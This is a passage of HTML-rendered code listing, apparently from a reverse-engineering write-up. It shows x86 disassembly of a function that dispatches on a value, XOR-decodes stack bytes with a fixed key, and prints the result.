class="line">1418</span><br><span class="line">1419</span><br><span class="line">1420</span><br><span class="line">1421</span><br><span class="line">1422</span><br><span class="line">1423</span><br><span class="line">1424</span><br><span class="line">1425</span><br><span class="line">1426</span><br><span class="line">1427</span><br><span class="line">1428</span><br><span class="line">1429</span><br><span class="line">1430</span><br><span class="line">1431</span><br><span class="line">1432</span><br><span class="line">1433</span><br><span class="line">1434</span><br><span class="line">1435</span><br><span class="line">1436</span><br><span class="line">1437</span><br><span class="line">1438</span><br><span class="line">1439</span><br><span class="line">1440</span><br><span class="line">1441</span><br><span class="line">1442</span><br><span class="line">1443</span><br><span class="line">1444</span><br><span class="line">1445</span><br><span class="line">1446</span><br><span class="line">1447</span><br><span class="line">1448</span><br><span class="line">1449</span><br><span class="line">1450</span><br><span class="line">1451</span><br><span class="line">1452</span><br><span class="line">1453</span><br><span class="line">1454</span><br><span class="line">1455</span><br><span class="line">1456</span><br><span class="line">1457</span><br><span class="line">1458</span><br><span class="line">1459</span><br><span class="line">1460</span><br><span class="line">1461</span><br><span class="line">1462</span><br><span class="line">1463</span><br><span class="line">1464</span><br><span class="line">1465</span><br><span class="line">1466</span><br><span class="line">1467</span><br><span class="line">1468</span><br><span class="line">1469</span><br><span class="line">1470</span><br><span class="line">1471</span><br><span class="line">1472</span><br><span class="line">1473</span><br><span class="line">1474</span><br><span class="line">1475</span><br><span class="line">1476</span><br><span class="line">1477</span><br><span class="line">1478</span><br><span class="line">1479</span><br><span class="line">1480</span><br><span class="line">1481</span><br><span class="line">1482</span><br><span class="line">1483</span><br><span class="line">1484</span><br><span class="line">1485</span><br><span class="line">1486</span><br><span class="line">1487</span><br><span class="line">1488</span><br><span class="line">1489</span><br><span class="line">1490</span><br><span class="line">1491</span><br><span class="line">1492</span><br><span class="line">1493</span><br><span class="line">1494</span><br><span class="line">1495</span><br><span class="line">1496</span><br><span class="line">1497</span><br><span class="line">1498</span><br><span class="line">1499</span><br><span class="line">1500</span><br><span class="line">1501</span><br><span class="line">1502</span><br><span class="line">1503</span><br><span class="line">1504</span><br><span class="line">1505</span><br><span class="line">1506</span><br><span class="line">1507</span><br><span class="line">1508</span><br><span class="line">1509</span><br><span class="line">1510</span><br><span class="line">1511</span><br><span class="line">1512</span><br><span class="line">1513</span><br><span class="line">1514</span><br><span class="line">1515</span><br><span class="line">1516</span><br><span class="line">1517</span><br><span class="line">1518</span><br><span class="line">1519</span><br><span class="line">1520</span><br><span class="line">1521</span><br><span class="line">1522</span><br><span class="line">1523</span><br><span class="line">1524</span><br><span class="line">1525</span><br><span class="line">1526</span><br><span class="line">1527</span><br><span class="line">1528</span><br><span class="line">1529</span><br><span class="line">1530</span><br><span class="line">1531</span><br><span class="line">1532</span><br><span class="line">1533</span><br><span class="line">1534</span><br><span class="line">1535</span><br><span class="line">1536</span><br><span class="line">1537</span><br><span class="line">1538</span><br><span class="line">1539</span><br><span class="line">1540</span><br><span class="line">1541</span><br><span class="line">1542</span><br><span class="line">1543</span><br><span class="line">1544</span><br><span class="line">1545</span><br><span class="line">1546</span><br><span class="line">1547</span><br><span class="line">1548</span><br><span class="line">1549</span><br><span class="line">1550</span><br><span class="line">1551</span><br><span class="line">1552</span><br><span class="line">1553</span><br><span class="line">1554</span><br><span class="line">1555</span><br><span class="line">1556</span><br><span class="line">1557</span><br><span class="line">1558</span><br><span class="line">1559</span><br><span class="line">1560</span><br><span class="line">1561</span><br><span class="line">1562</span><br><span class="line">1563</span><br><span class="line">1564</span><br><span class="line">1565</span><br><span class="line">1566</span><br><span class="line">1567</span><br><span class="line">1568</span><br><span class="line">1569</span><br><span class="line">1570</span><br><span class="line">1571</span><br><span class="line">1572</span><br><span class="line">1573</span><br><span class="line">1574</span><br><span class="line">1575</span><br><span class="line">1576</span><br><span class="line">1577</span><br><span class="line">1578</span><br><span class="line">1579</span><br><span class="line">1580</span><br><span class="line">1581</span><br><span class="line">1582</span><br><span class="line">1583</span><br><span class="line">1584</span><br><span class="line">1585</span><br><span class="line">1586</span><br><span class="line">1587</span><br><span class="line">1588</span><br><span class="line">1589</span><br><span class="line">1590</span><br><span class="line">1591</span><br><span class="line">1592</span><br><span class="line">1593</span><br><span class="line">1594</span><br><span class="line">1595</span><br><span class="line">1596</span><br><span class="line">1597</span><br><span class="line">1598</span><br><span class="line">1599</span><br><span class="line">1600</span><br><span class="line">1601</span><br><span class="line">1602</span><br><span class="line">1603</span><br><span class="line">1604</span><br><span class="line">1605</span><br><span class="line">1606</span><br><span class="line">1607</span><br><span class="line">1608</span><br><span class="line">1609</span><br><span class="line">1610</span><br><span class="line">1611</span><br><span class="line">1612</span><br><span class="line">1613</span><br><span class="line">1614</span><br><span class="line">1615</span><br><span class="line">1616</span><br><span class="line">1617</span><br><span class="line">1618</span><br><span class="line">1619</span><br><span class="line">1620</span><br><span class="line">1621</span><br><span class="line">1622</span><br><span class="line">1623</span><br><span class="line">1624</span><br><span class="line">1625</span><br><span class="line">1626</span><br><span class="line">1627</span><br><span class="line">1628</span><br><span class="line">1629</span><br><span class="line">1630</span><br><span class="line">1631</span><br><span class="line">1632</span><br><span class="line">1633</span><br><span class="line">1634</span><br><span class="line">1635</span><br><span class="line">1636</span><br><span class="line">1637</span><br><span class="line">1638</span><br><span class="line">1639</span><br><span class="line">1640</span><br><span class="line">1641</span><br><span class="line">1642</span><br><span class="line">1643</span><br><span class="line">1644</span><br><span class="line">1645</span><br><span class="line">1646</span><br><span class="line">1647</span><br><span class="line">1648</span><br><span class="line">1649</span><br><span class="line">1650</span><br><span class="line">1651</span><br><span class="line">1652</span><br><span class="line">1653</span><br><span class="line">1654</span><br><span class="line">1655</span><br><span class="line">1656</span><br><span class="line">1657</span><br><span class="line">1658</span><br><span class="line">1659</span><br><span class="line">1660</span><br><span class="line">1661</span><br><span class="line">1662</span><br><span class="line">1663</span><br><span class="line">1664</span><br><span class="line">1665</span><br><span class="line">1666</span><br><span class="line">1667</span><br><span class="line">1668</span><br><span class="line">1669</span><br></pre></td><td class="code"><pre><span class="line">0: 83 fe 20 cmp esi, 0x20</span><br><span class="line">3: 0f 84 a3 03 00 00 je 0x3ac</span><br><span class="line">9: 83 fe 0d cmp esi, 0xd</span><br><span class="line">c: 0f 84 13 04 00 00 je 0x425</span><br><span class="line">12: 83 fe 15 cmp esi, 0x15</span><br><span class="line">15: 0f 84 49 04 00 00 je 0x464</span><br><span class="line">1b: 83 fe 5a cmp esi, 0x5a</span><br><span class="line">1e: 0f 84 c1 04 00 00 je 0x4e5</span><br><span class="line">24: 83 fe 3d cmp esi, 0x3d</span><br><span class="line">27: 0f 84 e7 04 00 00 je 0x514</span><br><span class="line">2d: 83 fe 36 cmp esi, 0x36</span><br><span class="line">30: 0f 84 70 04 00 00 je 0x4a6</span><br><span class="line">36: 83 fe 31 cmp esi, 0x31</span><br><span class="line">39: 0f 84 46 05 00 00 je 0x585</span><br><span class="line">3f: 83 fe 0f cmp esi, 0xf</span><br><span class="line">42: 0f 84 7f 05 00 00 je 0x5c7</span><br><span class="line">48: 83 fe 50 cmp esi, 0x50</span><br><span class="line">4b: 0f 84 a4 05 00 00 je 0x5f5</span><br><span class="line">51: 83 fe 59 cmp esi, 0x59</span><br><span class="line">54: 0f 84 fc 04 00 00 je 0x556</span><br><span class="line">5a: 83 fe 4a cmp esi, 0x4a</span><br><span class="line">5d: 0f 84 c1 05 00 00 je 0x624</span><br><span class="line">63: 83 fe 06 cmp esi, 0x6</span><br><span class="line">66: 0f 84 e4 05 00 00 je 0x650</span><br><span class="line">6c: 83 fe 0c cmp esi, 0xc</span><br><span class="line">6f: 0f 84 39 06 00 00 je 0x6ae</span><br><span class="line">75: 83 fe 16 cmp esi, 0x16</span><br><span class="line">78: 0f 84 01 06 00 00 je 0x67f</span><br><span class="line">7e: 83 fe 2b cmp esi, 0x2b</span><br><span class="line">81: 0f 84 56 06 00 00 je 0x6dd</span><br><span class="line">87: 83 fe 34 cmp esi, 0x34</span><br><span class="line">8a: 0f 84 7c 06 00 00 je 0x70c</span><br><span class="line">90: 83 fe 55 cmp esi, 0x55</span><br><span class="line">93: 0f 84 ce 06 00 00 je 0x767</span><br><span class="line">99: 83 fe 17 cmp esi, 0x17</span><br><span class="line">9c: 0f 84 96 06 00 00 je 0x738</span><br><span class="line">a2: 83 fe 0e cmp esi, 0xe</span><br><span class="line">a5: 0f 84 ac 0c 00 00 je 0xd57</span><br><span class="line">ab: 83 fe 11 cmp esi, 0x11</span><br><span class="line">ae: 0f 84 79 0c 00 00 je 0xd2d</span><br><span class="line">b4: 83 fe 4f cmp esi, 0x4f</span><br><span class="line">b7: 0f 84 44 0c 00 00 je 0xd01</span><br><span class="line">bd: 83 fe 47 cmp esi, 0x47</span><br><span class="line">c0: 0f 84 0c 0c 00 00 je 0xcd2</span><br><span class="line">c6: 83 fe 2f cmp esi, 0x2f</span><br><span class="line">c9: 0f 84 d4 0b 00 00 je 0xca3</span><br><span class="line">cf: 83 fe 30 cmp esi, 0x30</span><br><span class="line">d2: 0f 84 9c 0b 00 00 je 0xc74</span><br><span class="line">d8: 83 fe 04 cmp esi, 0x4</span><br><span class="line">db: 0f 84 67 0b 00 00 je 0xc48</span><br><span class="line">e1: 83 fe 2c cmp esi, 0x2c</span><br><span class="line">e4: 0f 84 2f 0b 00 00 je 0xc19</span><br><span class="line">ea: 83 fe 40 cmp esi, 0x40</span><br><span class="line">ed: 0f 84 5b 0f 00 00 je 0x104e</span><br><span class="line">f3: 83 fe 1a cmp esi, 0x1a</span><br><span class="line">f6: 0f 84 23 0f 00 00 je 0x101f</span><br><span class="line">fc: 83 fe 38 cmp esi, 0x38</span><br><span class="line">ff: 0f 84 eb 0e 00 00 je 0xff0</span><br><span class="line">105: 83 fe 32 cmp esi, 0x32</span><br><span class="line">108: 0f 84 b3 0e 00 00 je 0xfc1</span><br><span class="line">10e: 83 fe 46 cmp esi, 0x46</span><br><span class="line">111: 0f 84 7b 0e 00 00 je 0xf92</span><br><span class="line">117: 83 fe 43 cmp esi, 0x43</span><br><span class="line">11a: 0f 84 46 0e 00 00 je 0xf66</span><br><span class="line">120: 83 fe 39 cmp esi, 0x39</span><br><span class="line">123: 0f 84 0e 0e 00 00 je 0xf37</span><br><span class="line">129: 83 fe 53 cmp esi, 0x53</span><br><span class="line">12c: 0f 84 d6 0d 00 00 je 0xf08</span><br><span class="line">132: 83 fe 23 cmp esi, 0x23</span><br><span class="line">135: 0f 84 9e 0d 00 00 je 0xed9</span><br><span class="line">13b: 83 fe 37 cmp esi, 0x37</span><br><span class="line">13e: 0f 84 66 0d 00 00 je 0xeaa</span><br><span class="line">144: 83 fe 2a cmp esi, 0x2a</span><br><span class="line">147: 0f 84 2e 0d 00 00 je 0xe7b</span><br><span class="line">14d: 83 fe 29 cmp esi, 0x29</span><br><span class="line">150: 0f 84 f6 0c 00 00 je 0xe4c</span><br><span class="line">156: 83 fe 1e cmp esi, 0x1e</span><br><span class="line">159: 0f 84 b4 0c 00 00 je 0xe13</span><br><span class="line">15f: 83 fe 51 cmp esi, 0x51</span><br><span class="line">162: 0f 84 7c 0c 00 00 je 0xde4</span><br><span class="line">168: 83 fe 27 cmp esi, 0x27</span><br><span class="line">16b: 0f 84 44 0c 00 00 je 0xdb5</span><br><span class="line">171: 83 fe 63 cmp esi, 0x63</span><br><span class="line">174: 0f 84 0c 0c 00 00 je 0xd86</span><br><span class="line">17a: 83 fe 52 cmp esi, 0x52</span><br><span class="line">17d: 0f 84 9e 14 00 00 je 0x1621</span><br><span class="line">183: 83 fe 60 cmp esi, 0x60</span><br><span class="line">186: 0f 84 66 14 00 00 je 0x15f2</span><br><span class="line">18c: 83 fe 44 cmp esi, 0x44</span><br><span class="line">18f: 0f 84 2e 14 00 00 je 0x15c3</span><br><span class="line">195: 83 fe 2e cmp esi, 0x2e</span><br><span class="line">198: 0f 84 f9 13 00 00 je 0x1597</span><br><span class="line">19e: 83 fe 07 cmp esi, 0x7</span><br><span class="line">1a1: 0f 84 c4 13 00 00 je 0x156b</span><br><span class="line">1a7: 83 fe 21 cmp esi, 0x21</span><br><span class="line">1aa: 0f 84 8c 13 00 00 je 0x153c</span><br><span class="line">1b0: 83 fe 45 cmp esi, 0x45</span><br><span class="line">1b3: 0f 84 54 13 00 00 je 0x150d</span><br><span class="line">1b9: 83 fe 33 cmp esi, 0x33</span><br><span class="line">1bc: 0f 84 1c 13 00 00 je 0x14de</span><br><span class="line">1c2: 83 fe 5e cmp esi, 0x5e</span><br><span class="line">1c5: 0f 84 e7 12 00 00 je 0x14b2</span><br><span class="line">1cb: 83 fe 2d cmp esi, 0x2d</span><br><span class="line">1ce: 0f 84 af 12 00 00 je 0x1483</span><br><span class="line">1d4: 83 fe 08 cmp esi, 0x8</span><br><span class="line">1d7: 0f 84 77 12 00 00 je 0x1454</span><br><span class="line">1dd: 83 fe 61 cmp esi, 0x61</span><br><span class="line">1e0: 0f 84 41 12 00 00 je 0x1427</span><br><span class="line">1e6: 83 fe 02 cmp esi, 0x2</span><br><span class="line">1e9: 0f 84 09 12 00 00 je 0x13f8</span><br><span class="line">1ef: 83 fe 4b cmp esi, 0x4b</span><br><span class="line">1f2: 0f 84 d1 11 00 00 je 0x13c9</span><br><span class="line">1f8: 83 fe 22 cmp esi, 0x22</span><br><span class="line">1fb: 0f 84 99 11 00 00 je 0x139a</span><br><span class="line">201: 83 fe 3b cmp esi, 0x3b</span><br><span class="line">204: 0f 84 61 11 00 00 je 0x136b</span><br><span class="line">20a: 83 fe 3c cmp esi, 0x3c</span><br><span class="line">20d: 0f 84 29 11 00 00 je 0x133c</span><br><span class="line">213: 83 fe 25 cmp esi, 0x25</span><br><span class="line">216: 0f 84 f1 10 00 00 je 0x130d</span><br><span class="line">21c: 83 fe 4c cmp esi, 0x4c</span><br><span class="line">21f: 0f 84 bb 10 00 00 je 0x12e0</span><br><span class="line">225: 83 fe 19 cmp esi, 0x19</span><br><span class="line">228: 0f 84 83 10 00 00 je 0x12b1</span><br><span class="line">22e: 83 fe 12 cmp esi, 0x12</span><br><span class="line">231: 0f 84 4b 10 00 00 je 0x1282</span><br><span class="line">237: 83 fe 1c cmp esi, 0x1c</span><br><span class="line">23a: 0f 84 13 10 00 00 je 0x1253</span><br><span class="line">240: 83 fe 5c cmp esi, 0x5c</span><br><span class="line">243: 0f 84 db 0f 00 00 je 0x1224</span><br><span class="line">249: 83 fe 03 cmp esi, 0x3</span><br><span class="line">24c: 0f 84 a3 0f 00 00 je 0x11f5</span><br><span class="line">252: 83 fe 62 cmp esi, 0x62</span><br><span class="line">255: 0f 84 6b 0f 00 00 je 0x11c6</span><br><span class="line">25b: 83 fe 4e cmp esi, 0x4e</span><br><span class="line">25e: 0f 84 33 0f 00 00 je 0x1197</span><br><span class="line">264: 83 fe 4d cmp esi, 0x4d</span><br><span class="line">267: 0f 84 fb 0e 00 00 je 0x1168</span><br><span class="line">26d: 83 fe 42 cmp esi, 0x42</span><br><span class="line">270: 0f 84 c3 0e 00 00 je 0x1139</span><br><span class="line">276: 83 fe 3f cmp esi, 0x3f</span><br><span class="line">279: 0f 84 8b 0e 00 00 je 0x110a</span><br><span class="line">27f: 83 fe 58 cmp esi, 0x58</span><br><span class="line">282: 0f 84 53 0e 00 00 je 0x10db</span><br><span class="line">288: 83 fe 54 cmp esi, 0x54</span><br><span class="line">28b: 0f 84 1b 0e 00 00 je 0x10ac</span><br><span class="line">291: 83 fe 05 cmp esi, 0x5</span><br><span class="line">294: 0f 84 e3 0d 00 00 je 0x107d</span><br><span class="line">29a: 83 fe 10 cmp esi, 0x10</span><br><span class="line">29d: 0f 84 d8 07 00 00 je 0xa7b</span><br><span class="line">2a3: 83 fe 64 cmp esi, 0x64</span><br><span class="line">2a6: 0f 84 a0 07 00 00 je 0xa4c</span><br><span class="line">2ac: 83 fe 1d cmp esi, 0x1d</span><br><span class="line">2af: 0f 84 68 07 00 00 je 0xa1d</span><br><span class="line">2b5: 83 fe 13 cmp esi, 0x13</span><br><span class="line">2b8: 0f 84 30 07 00 00 je 0x9ee</span><br><span class="line">2be: 83 fe 0b cmp esi, 0xb</span><br><span class="line">2c1: 0f 84 f8 06 00 00 je 0x9bf</span><br><span class="line">2c7: 83 fe 01 cmp esi, 0x1</span><br><span class="line">2ca: 0f 84 c0 06 00 00 je 0x990</span><br><span class="line">2d0: 83 fe 3a cmp esi, 0x3a</span><br><span class="line">2d3: 0f 84 88 06 00 00 je 0x961</span><br><span class="line">2d9: 83 fe 48 cmp esi, 0x48</span><br><span class="line">2dc: 0f 84 50 06 00 00 je 0x932</span><br><span class="line">2e2: 83 fe 49 cmp esi, 0x49</span><br><span class="line">2e5: 0f 84 18 06 00 00 je 0x903</span><br><span class="line">2eb: 83 fe 1b cmp esi, 0x1b</span><br><span class="line">2ee: 0f 84 e0 05 00 00 je 0x8d4</span><br><span class="line">2f4: 83 fe 56 cmp esi, 0x56</span><br><span class="line">2f7: 0f 84 a8 05 00 00 je 0x8a5</span><br><span class="line">2fd: 83 fe 26 cmp esi, 0x26</span><br><span class="line">300: 0f 84 70 05 00 00 je 0x876</span><br><span class="line">306: 83 fe 14 cmp esi, 0x14</span><br><span class="line">309: 0f 84 38 05 00 00 je 0x847</span><br><span class="line">30f: 83 fe 0a cmp esi, 0xa</span><br><span class="line">312: 0f 84 03 05 00 00 je 0x81b</span><br><span class="line">318: 83 fe 09 cmp esi, 0x9</span><br><span class="line">31b: 0f 84 ce 04 00 00 je 0x7ef</span><br><span class="line">321: 83 fe 1f cmp esi, 0x1f</span><br><span class="line">324: 0f 84 96 04 00 00 je 0x7c0</span><br><span class="line">32a: 83 fe 3e cmp esi, 0x3e</span><br><span class="line">32d: 0f 84 ba 08 00 00 je 0xbed</span><br><span class="line">333: 83 fe 5b cmp esi, 0x5b</span><br><span class="line">336: 0f 84 82 08 00 00 je 0xbbe</span><br><span class="line">33c: 83 fe 5d cmp esi, 0x5d</span><br><span class="line">33f: 0f 84 4a 08 00 00 je 0xb8f</span><br><span class="line">345: 83 fe 28 cmp esi, 0x28</span><br><span class="line">348: 0f 84 12 08 00 00 je 0xb60</span><br><span class="line">34e: 83 fe 35 cmp esi, 0x35</span><br><span class="line">351: 0f 84 da 07 00 00 je 0xb31</span><br><span class="line">357: 83 fe 41 cmp esi, 0x41</span><br><span class="line">35a: 0f 84 a5 07 00 00 je 0xb05</span><br><span class="line">360: 83 fe 57 cmp esi, 0x57</span><br><span class="line">363: 0f 84 6d 07 00 00 je 0xad6</span><br><span class="line">369: 83 fe 5f cmp esi, 0x5f</span><br><span class="line">36c: 0f 84 38 07 00 00 je 0xaaa</span><br><span class="line">372: 83 fe 18 cmp esi, 0x18</span><br><span class="line">375: 0f 84 1b 04 00 00 je 0x796</span><br><span class="line">37b: 83 fe 24 cmp esi, 0x24</span><br><span class="line">37e: 75 6d jne 0x3ed</span><br><span class="line">380: 8d 74 24 fa lea esi, [esp-0x6]</span><br><span class="line">384: b9 26 00 00 00 mov ecx, 0x26</span><br><span class="line">389: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">38e: 89 c8 mov eax, ecx</span><br><span class="line">390: 99 cdq</span><br><span class="line">391: f7 ff idiv edi</span><br><span class="line">393: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">398: 30 04 0e xor BYTE PTR [esi+ecx*1], al</span><br><span class="line">39b: 83 c1 01 add ecx, 0x1</span><br><span class="line">39e: 83 f9 4d cmp ecx, 0x4d</span><br><span class="line">3a1: 75 eb jne 0x38e</span><br><span class="line">3a3: cd 51 int 0x51</span><br><span class="line">3a5: be 1b 00 00 00 mov esi, 0x1b</span><br><span class="line">3aa: eb 41 jmp 0x3ed</span><br><span class="line">3ac: 8d 74 24 15 lea esi, [esp+0x15]</span><br><span class="line">3b0: b9 0b 00 00 00 mov ecx, 0xb</span><br><span class="line">3b5: bf 5d 41 4c ae mov edi, 0xae4c415d</span><br><span class="line">3ba: 8d 74 26 00 lea esi, [esi+eiz*1+0x0]</span><br><span class="line">3be: 89 c8 mov eax, ecx</span><br><span class="line">3c0: f7 ef imul edi</span><br><span class="line">3c2: 8d 04 0a lea eax, [edx+ecx*1]</span><br><span class="line">3c5: 89 ca mov edx, ecx</span><br><span class="line">3c7: c1 fa 1f sar edx, 0x1f</span><br><span class="line">3ca: c1 f8 05 sar eax, 0x5</span><br><span class="line">3cd: 29 d0 sub eax, edx</span><br><span class="line">3cf: 89 ca mov edx, ecx</span><br><span class="line">3d1: 6b c0 2f imul eax, eax, 0x2f</span><br><span class="line">3d4: 29 c2 sub edx, eax</span><br><span class="line">3d6: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">3db: 30 04 0e xor BYTE PTR [esi+ecx*1], al</span><br><span class="line">3de: 83 c1 01 add ecx, 0x1</span><br><span class="line">3e1: 83 f9 17 cmp ecx, 0x17</span><br><span class="line">3e4: 75 d8 jne 0x3be</span><br><span class="line">3e6: cd 2b int 0x2b</span><br><span class="line">3e8: be 64 00 00 00 mov esi, 0x64</span><br><span class="line">3ed: 89 74 24 04 mov DWORD PTR [esp+0x4], esi</span><br><span class="line">3f1: 8d 74 24 20 lea esi, [esp+0x20]</span><br><span class="line">3f5: c7 04 24 68 70 40 00 mov DWORD PTR [esp], 0x407068</span><br><span class="line">3fc: e8 e5 f9 ff ff call 0xfffffde6</span><br><span class="line">401: 0f be 06 movsx eax, BYTE PTR [esi]</span><br><span class="line">404: c7 04 24 6c 70 40 00 mov DWORD PTR [esp], 0x40706c</span><br><span class="line">40b: 83 c6 01 add esi, 0x1</span><br><span class="line">40e: 89 44 24 04 mov DWORD PTR [esp+0x4], eax</span><br><span class="line">412: e8 cf f9 ff ff call 0xfffffde6</span><br><span class="line">417: 39 f3 cmp ebx, esi</span><br><span class="line">419: 75 e6 jne 0x401</span><br><span class="line">41b: 8d 65 f4 lea esp, [ebp-0xc]</span><br><span class="line">41e: 31 c0 xor eax, eax</span><br><span class="line">420: 5b pop ebx</span><br><span class="line">421: 5e pop esi</span><br><span class="line">422: 5f pop edi</span><br><span class="line">423: 5d pop ebp</span><br><span class="line">424: c3 ret</span><br><span class="line">425: 8d 74 24 0d lea esi, [esp+0xd]</span><br><span class="line">429: b9 13 00 00 00 mov ecx, 0x13</span><br><span class="line">42e: bf 5d 41 4c ae mov edi, 0xae4c415d</span><br><span class="line">433: 89 c8 mov eax, ecx</span><br><span class="line">435: f7 ef imul edi</span><br><span class="line">437: 8d 04 0a lea eax, [edx+ecx*1]</span><br><span class="line">43a: 89 ca mov edx, ecx</span><br><span class="line">43c: c1 fa 1f sar edx, 0x1f</span><br><span class="line">43f: c1 f8 05 sar eax, 0x5</span><br><span class="line">442: 29 d0 sub eax, edx</span><br><span class="line">444: 89 ca mov edx, ecx</span><br><span class="line">446: 6b c0 2f imul eax, eax, 0x2f</span><br><span class="line">449: 29 c2 sub edx, eax</span><br><span class="line">44b: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">450: 30 04 0e xor BYTE PTR [esi+ecx*1], al</span><br><span class="line">453: 83 c1 01 add ecx, 0x1</span><br><span class="line">456: 83 f9 27 cmp ecx, 0x27</span><br><span class="line">459: 75 d8 jne 0x433</span><br><span class="line">45b: cd 23 int 0x23</span><br><span class="line">45d: be 50 00 00 00 mov esi, 0x50</span><br><span class="line">462: eb 89 jmp 0x3ed</span><br><span class="line">464: 8d 74 24 14 lea esi, [esp+0x14]</span><br><span class="line">468: b9 0c 00 00 00 mov ecx, 0xc</span><br><span class="line">46d: bf 5d 41 4c ae mov edi, 0xae4c415d</span><br><span class="line">472: 89 c8 mov eax, ecx</span><br><span class="line">474: f7 ef imul edi</span><br><span class="line">476: 8d 04 0a lea eax, [edx+ecx*1]</span><br><span class="line">479: 89 ca mov edx, ecx</span><br><span class="line">47b: c1 fa 1f sar edx, 0x1f</span><br><span class="line">47e: c1 f8 05 sar eax, 0x5</span><br><span class="line">481: 29 d0 sub eax, edx</span><br><span class="line">483: 89 ca mov edx, ecx</span><br><span class="line">485: 6b c0 2f imul eax, eax, 0x2f</span><br><span class="line">488: 29 c2 sub edx, eax</span><br><span class="line">48a: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">48f: 30 04 0e xor BYTE PTR [esi+ecx*1], al</span><br><span class="line">492: 83 c1 01 add ecx, 0x1</span><br><span class="line">495: 83 f9 19 cmp ecx, 0x19</span><br><span class="line">498: 75 d8 jne 0x472</span><br><span class="line">49a: cd 08 int 0x8</span><br><span class="line">49c: be 47 00 00 00 mov esi, 0x47</span><br><span class="line">4a1: e9 47 ff ff ff jmp 0x3ed</span><br><span class="line">4a6: b9 1f 00 00 00 mov ecx, 0x1f</span><br><span class="line">4ab: be 5d 41 4c ae mov esi, 0xae4c415d</span><br><span class="line">4b0: 89 c8 mov eax, ecx</span><br><span class="line">4b2: 89 cf mov edi, ecx</span><br><span class="line">4b4: f7 ee imul esi</span><br><span class="line">4b6: 8d 04 0a lea eax, [edx+ecx*1]</span><br><span class="line">4b9: 89 ca mov edx, ecx</span><br><span class="line">4bb: c1 fa 1f sar edx, 0x1f</span><br><span class="line">4be: c1 f8 05 sar eax, 0x5</span><br><span class="line">4c1: 29 d0 sub eax, edx</span><br><span class="line">4c3: 6b c0 2f imul eax, eax, 0x2f</span><br><span class="line">4c6: 29 c7 sub edi, eax</span><br><span class="line">4c8: 0f b6 44 3c 20 movzx eax, BYTE PTR [esp+edi*1+0x20]</span><br><span class="line">4cd: 30 44 0c 01 xor BYTE PTR [esp+ecx*1+0x1], al</span><br><span class="line">4d1: 83 c1 01 add ecx, 0x1</span><br><span class="line">4d4: 83 f9 3f cmp ecx, 0x3f</span><br><span class="line">4d7: 75 d7 jne 0x4b0</span><br><span class="line">4d9: cd 12 int 0x12</span><br><span class="line">4db: be 21 00 00 00 mov esi, 0x21</span><br><span class="line">4e0: e9 08 ff ff ff jmp 0x3ed</span><br><span class="line">4e5: 8d 74 24 1c lea esi, [esp+0x1c]</span><br><span class="line">4e9: b9 04 00 00 00 mov ecx, 0x4</span><br><span class="line">4ee: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">4f3: 89 c8 mov eax, ecx</span><br><span class="line">4f5: 99 cdq</span><br><span class="line">4f6: f7 ff idiv edi</span><br><span class="line">4f8: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">4fd: 30 04 0e xor BYTE PTR [esi+ecx*1], al</span><br><span class="line">500: 83 c1 01 add ecx, 0x1</span><br><span class="line">503: 83 f9 09 cmp ecx, 0x9</span><br><span class="line">506: 75 eb jne 0x4f3</span><br><span class="line">508: cd 3a int 0x3a</span><br><span class="line">50a: be 1d 00 00 00 mov esi, 0x1d</span><br><span class="line">50f: e9 d9 fe ff ff jmp 0x3ed</span><br><span class="line">514: 8d 74 24 06 lea esi, [esp+0x6]</span><br><span class="line">518: b9 1a 00 00 00 mov ecx, 0x1a</span><br><span class="line">51d: bf 5d 41 4c ae mov edi, 0xae4c415d</span><br><span class="line">522: 89 c8 mov eax, ecx</span><br><span class="line">524: f7 ef imul edi</span><br><span class="line">526: 8d 04 0a lea eax, [edx+ecx*1]</span><br><span class="line">529: 89 ca mov edx, ecx</span><br><span class="line">52b: c1 fa 1f sar edx, 0x1f</span><br><span class="line">52e: c1 f8 05 sar eax, 0x5</span><br><span class="line">531: 29 d0 sub eax, edx</span><br><span class="line">533: 89 ca mov edx, ecx</span><br><span class="line">535: 6b c0 2f imul eax, eax, 0x2f</span><br><span class="line">538: 29 c2 sub edx, eax</span><br><span class="line">53a: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">53f: 30 04 0e xor BYTE PTR [esi+ecx*1], al</span><br><span class="line">542: 83 c1 01 add ecx, 0x1</span><br><span class="line">545: 83 f9 35 cmp ecx, 0x35</span><br><span class="line">548: 75 d8 jne 0x522</span><br><span class="line">54a: cd 4f int 0x4f</span><br><span class="line">54c: be 60 00 00 00 mov esi, 0x60</span><br><span class="line">551: e9 97 fe ff ff jmp 0x3ed</span><br><span class="line">556: 8d 74 24 19 lea esi, [esp+0x19]</span><br><span class="line">55a: b9 07 00 00 00 mov ecx, 0x7</span><br><span class="line">55f: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">564: 89 c8 mov eax, ecx</span><br><span class="line">566: 99 cdq</span><br><span class="line">567: f7 ff idiv edi</span><br><span class="line">569: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">56e: 30 04 0e xor BYTE PTR [esi+ecx*1], al</span><br><span class="line">571: 83 c1 01 add ecx, 0x1</span><br><span class="line">574: 83 f9 0f cmp ecx, 0xf</span><br><span class="line">577: 75 eb jne 0x564</span><br><span class="line">579: cd 5d int 0x5d</span><br><span class="line">57b: be 3d 00 00 00 mov esi, 0x3d</span><br><span class="line">580: e9 68 fe ff ff jmp 0x3ed</span><br><span class="line">585: 8d 74 24 0e lea esi, [esp+0xe]</span><br><span class="line">589: b9 12 00 00 00 mov ecx, 0x12</span><br><span class="line">58e: bf 5d 41 4c ae mov edi, 0xae4c415d</span><br><span class="line">593: 89 c8 mov eax, ecx</span><br><span class="line">595: f7 ef imul edi</span><br><span class="line">597: 8d 04 0a lea eax, [edx+ecx*1]</span><br><span class="line">59a: 89 ca mov edx, ecx</span><br><span class="line">59c: c1 fa 1f sar edx, 0x1f</span><br><span class="line">59f: c1 f8 05 sar eax, 0x5</span><br><span class="line">5a2: 29 d0 sub eax, edx</span><br><span class="line">5a4: 89 ca mov edx, ecx</span><br><span 